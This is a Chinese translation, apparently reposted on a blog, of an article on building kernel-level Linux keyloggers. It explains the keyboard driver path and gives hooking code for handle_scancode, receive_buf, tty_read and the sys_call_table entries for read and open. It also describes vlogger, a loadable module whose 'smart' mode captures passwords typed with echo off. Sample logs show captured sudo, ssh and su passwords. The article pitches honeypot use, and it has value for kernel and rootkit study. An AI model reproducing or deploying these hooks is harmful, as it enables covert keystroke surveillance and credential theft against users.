基于内核的linux键盘纪录器

1 - 介绍
2 - linux的keyboard驱动是如何工作的
3 - 基于内核的键盘纪录的原理
   3.1 - 中断句柄
   3.2 - 函数劫持
       3.2.1 - 劫持handle_scancode
       3.2.2 - 劫持put_queue
       3.2.3 - 劫持receive_buf
       3.2.4 - 劫持tty_read
       3.2.5 - 劫持sys_read/sys_write
4 - vlogger
   4.1 - 工作原理
   4.2 - 功能及特点
   4.3 - 如何使用
5 - 感谢
6 - 参考资料
7 - Keylogger源代码

介绍
本文分成两个部分。

第一部分给出了linux键盘驱动的工作原理,并且讨论了建立一个基于
内核的键盘纪录器的方法。这部分内容对那些想写一个基于内核的键盘纪录器,或者写一


自己键盘驱动的朋友会有帮助。

第二部分详细描述了vlogger的每个细节,vlogger是一个强大的基于内核的linux键盘纪录

器,
以及如何来使用它。这向技术可以运用在蜜罐系统中,也可以做成一些很有意思的hacker

game,
主要用来分析和采集hacker的攻击手法。我们都知道,一些大家熟知的键盘纪录器,如

iob,
uberkey,unixkeylogger等,它们是基于用户层的。这里介绍的是基于内核层的键盘纪录器


最早期的基于内核的键盘纪录器是linspy,它发表在phrack杂志第50期。而现代的

kkeylogger(
后面我们将用kkeylogger来表示基于内核的键盘纪录器)广泛采用的手法是中断sys_read

或者
sys_write系统调用来对用户的击键进行记录。
显然,这种方法是很不稳定的并且会明显的降低系统的速度,因为我们中断的恰恰是系统

使用最
频繁的两个系统调用sys_read,sys_write;sys_read在每个进程需要读写设备的时候都会用

到。
在vlogger里,我用了一个更好的方法,就是劫持tty buffer进程函数,下面会介绍到。

我假定读者熟悉linux的可加载模块的原理和运作过程,如果不熟悉,推荐大家首先阅读我

以前写
过的linux kernel simple hacking,或者linux tty hijack,(在有下载

),
参阅《linux驱动程序设计》来获得相关的理论基础知识。

--[ 2 - linux键盘驱动的工作原理

首先让我们通过以下的结构图来了解一下用户从终端的击键是如何工作的:

_____________            _________             _________        
/             \ put_queue|         |receive_buf|         |tty_read
/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
\               /         |         |           |buffer   |       
\_____________/          |_________|           |_________|       

     _________          ____________
    |         |sys_read|            |
--->|/dev/ttyX|------->|user process|
    |         |        |            |
    |_________|        |____________|

                            Figure 1

首先,当你输入一个键盘值的时候,键盘将会发送相应的scancodes给键盘驱动。一个独立


击键可以产生一个六个scancodes的队列。

键盘驱动中的handle_scancode()函数解析scancodes流并通过kdb_translate()函数里的
转换表(translation-table)将击键事件和键的释放事件(key release events)转换成


续的keycode。

比如,'a'的keycode是30。击键’a'的时候便会产生keycode 30。释放a键的时候会产生
keycode 158(128+30)。

然后,这些keycode通过对keymap的查询被转换成相应key符号。这步是一个相当
复杂的过程。

以上操作之后,获得的字符被送入raw tty队列--tty_flip_buffer。

receive_buf()函数周期性的从tty_flip_buffer中获得字符,然后把这些字符送入
tty read队列。

当用户进程需要得到用户的输入的时候,它会在进程的标准输入(stdin)调用read()函数


sys_read()函数调用定义在相应的tty设备(如/dev/tty0)的file_operations结构
中指向tty_read的read()函数来读取字符并且返回给用户进程。

/*e4gle add
file_operations是文件操作结构,定义了文件操作行为的成员,结构如下,很容易理解:
struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char *, size_t, loff_t *);<----这是本文提到

的read函数
    ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
    int (*readdir) (struct file *, void *, filldir_t);
    unsigned int (*poll) (struct file *, struct poll_table_struct *);
    int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
    int (*mmap) (struct file *, struct vm_area_struct *);
    int (*open) (struct inode *, struct file *);
    int (*flush) (struct file *);
    int (*release) (struct inode *, struct file *);
    int (*fsync) (struct file *, struct dentry *, int datasync);
    int (*fasync) (int, struct file *, int);
    int (*lock) (struct file *, int, struct file_lock *);
    ssize_t (*readv) (struct file *, const struct iovec *, unsigned long,

loff_t *);
    ssize_t (*writev) (struct file *, const struct iovec *, unsigned long,

loff_t *);
    ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *,

int);
    unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned

long, unsigned long, unsigned long);
};
我们直到unix系统中设备也是文件,所以tty设备我们也可以进行文件操作。
*/

键盘驱动器可以有如下4种模式:
    - scancode(RAW模式):应用程序取得输入的scancode。这种模式通常
    用于应用程序实现自己的键盘驱动器,比如X11程序。

    - keycode(MEDIUMRAW模式):应用程序取得key的击键和释放行为(通过
    keycode来鉴别这两种行为)信息。

    - ASCII(XLATE模式):应用程序取得keymap定义的字符,该字符是
    8位编码的。

    - Unicode(UNICODE模式):此模式唯一和ASCII模式不同之处就是UNICODE模式
    允许用户将自己的10进制值编写成UTF8的unicode字符,如十进制的数可以编写成
    Ascii_0到Ascii_9,或者用户16进制的值可以用Hex_0到Hex_9来代表。一个keymap
    可以产生出一系列UTF8的序列。

以上这些驱动器的工作模式决定了应用程序所取得的键盘输入的数据类型。大家如果需要

详细了解scancode,
keycode和keymaps的相关信息,参看read[3]。
3 - 基于内核的键盘纪录器的实现步骤
我们论述两种实现方法,一个是书写我们自己的键盘中断句柄,另一个是劫持输入进程函数.
----[ 3.1 - 中断句柄
要纪录击键信息,我们就要利用我们自己的键盘中断。在Intel体系下,控制键盘的IRQ值是

1。
当接受到一个键盘中断时,我们的键盘中断器会读取scancode和键盘的状态。读写键盘事


都是通过0x60端口(键盘数据注册器)和0x64(键盘状态注册器)来实现的。

/* 以下代码都是intel格式 */
#define KEYBOARD_IRQ 1
#define KBD_STATUS_REG 0x64
#define KBD_CNTL_REG 0x64
#define KBD_DATA_REG 0x60

#define kbd_read_input() inb(KBD_DATA_REG)
#define kbd_read_status() inb(KBD_STATUS_REG)
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)

/* 注册我们的IRQ句柄*/
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

在my_keyboard_irq_handler()函数中定义如下:
    scancode = kbd_read_input();
    key_status = kbd_read_status();
    log_scancode(scancode);

这种方法不方便跨平台操作。而且很容易crash系统,所以必须小心操作你的终端句柄。

----[ 3.2 - 函数劫持

在第一种思路的基础上,我们还可以通过劫持handle_scancode(),put_queue

(),receive_buf(),
tty_read()或者sys_read()等函数来实现我们自己的键盘纪录器。注意,我们不能劫持
tty_insert_flip_char()函数,因为它是一个内联函数。

------[ 3.2.1 - handle_scancode函数

它是键盘驱动程序中的一个入口函数(有兴趣可以看内核代码keynoard.c)。

# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);

我们可以这样,通过替换原始的handle_scancode()函数来实现纪录所有的scancode。这就

我们
在lkm后门中劫持系统调用是一个道理,保存原来的,把新的注册进去,实现我们要的功能

,再调用
回原来的,就这么简单。就是一个内核函数劫持技术。

/* below is a code snippet written by Plasmoid */
static struct semaphore hs_sem, log_sem;
static int logging=1;

#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
       "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax */
       "\xff\xe0"                  /*      jmp    *%eax    */
   ;

void (*handle_scancode) (unsigned char, int) =
        (void (*)(unsigned char, int)) HS_ADDRESS;

void _handle_scancode(unsigned char scancode, int keydown)
{
       if (logging && keydown)
          log_scancode(scancode, LOGFILE);
   
       /*恢复原始handle_scancode函数的首几个字节代码。调用恢复后的原始函数并且
        *再次恢复跳转代码。
        */
       down(&hs_sem);
   
       memcpy(handle_scancode, hs_code, CODESIZE);
       handle_scancode(scancode, keydown);
       memcpy(handle_scancode, hs_jump, CODESIZE);
   
       up(&hs_sem);
}

HS_ADDRESS这个地址在执行Makefile文件的时候定义:
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
其实就是handle_scancode在ksyms导出的地址。

类似3.1节中提到的方法,这种方法对在X和终端下纪录键盘击键也很有效果,和是否调用
tty无关。这样你就可以纪录下键盘上的正确的击键行为了(包括一些特殊的key,如

ctrl,alt,
shift,print screen等等)。但是这种方法也是不能跨平台操作,毕竟是靠lkm实现的。同


它也不能纪录远程会话的击键并且也很难构成相当复杂的高级纪录器。

------[ 3.2.2 - put_queue函数

handle_scancode()函数会调用put_queue函数,用来将字符放入tty_queue。

/*e4gle add
put_queue函数在内核中定义如下:

void put_queue(int ch)
{
    wake_up(&keypress_wait);
    if (tty) {
        tty_insert_flip_char(tty, ch, 0);
        con_schedule_flip(tty);
    }
}
*/

# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);

劫持这个函数,我们可以利用和上面劫持handle_scancode函数同样的方法。

------[ 3.2.3 - receive_buf函数

底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。

# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
                unsigned char *cp, char *fp, int count)

参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节

指针的指针。

让我们深入的看一看tty结构

# /usr/include/linux/tty.h
struct tty_struct {
    int    magic;
    struct tty_driver driver;
    struct tty_ldisc ldisc;
    struct termios *termios, *termios_locked;
    ...
}

# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
    int    magic;
    char    *name;
    ...   
    void    (*receive_buf)(struct tty_struct *,
            const unsigned char *cp, char *fp, int count);
    int    (*receive_room)(struct tty_struct *);
    void    (*write_wakeup)(struct tty_struct *);
};

要劫持这个函数,我们可以先保存原始的tty receive_buf()函数,然后重置

ldisc.receive_buf到
我们的new_receive_buf()函数来记录用户的输入。

举个例子:我们要记录在tty0设备上的输入。

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf;    //保存原始的receive_buf()函数
tty->ldisc.receive_buf = new_receive_buf;    //替换成新的new_receive_buf函数

//新的new_receive_buf函数
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
                        char *fp, int count)
{   
    logging(tty, cp, count);     //纪录用户击键

    /* 调用回原来的receive_buf */
    (*old_receive_buf)(tty, cp, fp, count);
}

/*e4gle add
其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统

调用
内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达

到目的,或者
效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。
*/

------[ 3.2.4 - tty_read函数

当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数

就会被调用。

# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
                loff_t *ppos)

static struct file_operations tty_fops = {
    llseek:        tty_lseek,
    read:        tty_read,
    write:        tty_write,
    poll:        tty_poll,
    ioctl:        tty_ioctl,
    open:        tty_open,
    release:    tty_release,
    fasync:        tty_fasync,
};

还是举上面的纪录来自tty0的输入信息的例子:

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);   
old_tty_read = file->f_op->read;    //保存原来的tty_read
file->f_op->read = new_tty_read;    //替换新的tty_read函数

/*e4gle add
劫持这个函数的具体实现代码就不多说了,和上面是一样的,我这里写出来给大家参考一

下:
static ssize_t new_tty_read(struct file * file, char * buf, size_t count,
                loff_t *ppos)
{
    struct tty_struct *tty = file->private_data;   
    logging(tty, buf, count);     //纪录用户击键

    /* 调用回原来的tty_read */
    (*old_tty_read)(file, buf, count, ppos);
}
*/

------[ 3.2.5 - sys_read/sys_write函数

截获sys_read/sys_write这两个系统调用来实现的技术我不说了,在很早的quack翻译
的“linux内核可加载模块编程完全指南”中就提到了这种技术,在我写的“linux kernel

hacking”
若干教程中也明明白白反反复复提到过,phrack杂志也早在50期的第四篇文章里也介绍到


如果大家不明白请参考以上文献。

我提供以下code来实现劫持sys_read和sys_write系统调用:

extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;
当然除了替换sys_call_table表之外还有很多方法,在phrack59中的高级kernel hacking

一文
中详细针对现有的几种劫持系统调用的方法有演示代码,这里不多做介绍了。

--[ 4 - vlogger

这节介绍一下一个内核键盘纪录器vlogger,是本文的原作者的大作,它是通过3.2.3节中
介绍的方法来实现纪录用户击键的,也利用了劫持sys_read/sys_write系统调用来做补充


vlogger在如下内核中测试通过:2.4.5,2.4.7,2.4.17,2.4.18。

----[ 4.1 - 步骤

要记录下本地(纪录终端的信息)和远程会话的键盘击键 ,我选择劫持receive_buf函数


方法(见3.2.3节)。

在内核中,tty_struct和tty_queue结构仅仅在tty设备打开的时候被动态分配。因而,我


同样需要通过劫持sys_open系统调用来动态的hooking这些每次调用时的每个tty或pty的
receive_buf()函数。

// 劫持sys_open调用
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
    //调用original_sys_open
    ret = (*original_sys_open)(filename, flags, mode);
   
    if (ret >= 0) {
        struct tty_struct * tty;
...
        file = fget(ret);
        tty = file->private_data;
        if (tty != NULL &&
...
            tty->ldisc.receive_buf != new_receive_buf) {
...
                // 保存原来的receive_buf           
                old_receive_buf = tty->ldisc.receive_buf;
...

               /*
                * 开始劫持该tty的receive_buf函数
                * tty->ldisc.receive_buf = new_receive_buf;
                */
            init_tty(tty, TTY_INDEX(tty));
        }
...
}

// 我们的新的receive_buf()函数
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
                        char *fp, int count)
{
    if (!tty->real_raw && !tty->raw)    // 忽略 raw模式
        // 调用我们的logging函数来记录用户击键
        vlogger_process(tty, cp, count);
    // 调用回原来的receive_buf
    (*old_receive_buf)(tty, cp, fp, count);
}

----[ 4.2 - 功能及特点

- 可以记录本地和远程会话的所有击键(通过tty和pts)

- 按每个tty/会话分开纪录。每个tty都有他们自己的纪录缓冲区。

- 几乎支持所有的特殊键如方向键(left,riht,up,down),F1到F12,Shift+F1到

Shift+F12,
    Tab,Insert,Delete,End,Home,Page Up,Page Down,BackSpace,等等

- 支持一些行编辑键包括ctrl-U和BackSpace键等。

- 时区支持

- 多种日志模式

    o dumb模式: 纪录所有的击键行为

    o smart模式: 只记录用户名/密码。这里我用了solar designer和dug song

的"Passive Analysis
     of SSH (Secure Shell) Traffic"文章中的一个小技术来实现的。当应用程序返回的
    输入回显关闭的时候(就是echo -off),就认为那是用户在输入密码,我们过滤下来
    就是了:)

    o normal模式: 禁止纪录

用户可以通过利用MAGIC_PASS宏和VK_TOGLE_CHAR宏(MAGIC_PASS这个宏定义了切换密
码,VK_TOGLE_CHAR定义了一个keycode来做为切换热键)来切换日志模式。

#define VK_TOGLE_CHAR    29    // CTRL-]
#define MAGIC_PASS    "31337"    //要切换日志模式,输入MAGIC_PASS,然后敲击

VK_TOGLE_CHAR键

----[ 4.3 - 如何使用

以下是一些可改变的选项

// 日志存放路径的宏
#define LOG_DIR "/tmp/log"

// 本地的时区
#define TIMEZONE    7*60*60    // GMT+7

// 切换日志模式的密码的宏
#define MAGIC_PASS    "31337"

以下列出了纪录后的日志目录结构:

[e4gle@redhat72 log]# ls -l
total 60
-rw-------    1 root     root          633 Jun 19 20:59 pass.log
-rw-------    1 root     root        37593 Jun 19 18:51 pts11
-rw-------    1 root     root           56 Jun 19 19:00 pts20
-rw-------    1 root     root          746 Jun 19 20:06 pts26
-rw-------    1 root     root          116 Jun 19 19:57 pts29
-rw-------    1 root     root         3219 Jun 19 21:30 tty1
-rw-------    1 root     root        18028 Jun 19 20:54 tty2

---在dumb模式中
[e4gle@redhat72 log]# head tty2        //本地会话
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]

[e4gle@redhat72 log]# tail pts11    // 远程会话
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger

---在smart模式中
[e4gle@redhat72 log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS

[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh
PASS guest

[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open
USER Anonymous
PASS

[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234

--[ 5 - 感谢

感谢plasmoid, skyper的大力帮助,感谢THC,vnsecurity等组织的所有朋友们。
最后,感谢thang先生的英文翻译。

//e4gle add
到此,全文介绍完了,大家有兴趣可以试试代码,其实这里涉及的技术无非还是系统调用

和内核函数
的劫持技术,我整理过的一篇tty劫持的文章,大家也可以对比一下。其实vlogger也有一

定的缺陷,
它还是通过sys_call_table的方法来劫持系统调用open的,那很容易被kstat等工具发现,

关于更
隐藏的劫持技术在phrack59的advance kernel hacking一文里有5个例子详细介绍了更多的

办法,
大家可以参考这些文献。

--[ 6 - 参考资料

[1] Linux Kernel Module Programming
    http://www.tldp.org/LDP/lkmpg/
[2] Complete Linux Loadable Kernel Modules - Pragmatic
    http://www.thehackerschoice.com/papers/LKM_HACKING.html
[3] The Linux keyboard driver - Andries Brouwer
    http://www.linuxjournal.com/lj-issues/issue14/1080.html
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
    http://www.phrack.com/phrack/50/P50-05
[5] Kernel function hijacking - Silvio Cesare
    http://www.big.net.au/~silvio/kernel-hijack.txt
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
    http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
[7] Kernel Based Keylogger - Mercenary
    http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt


  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值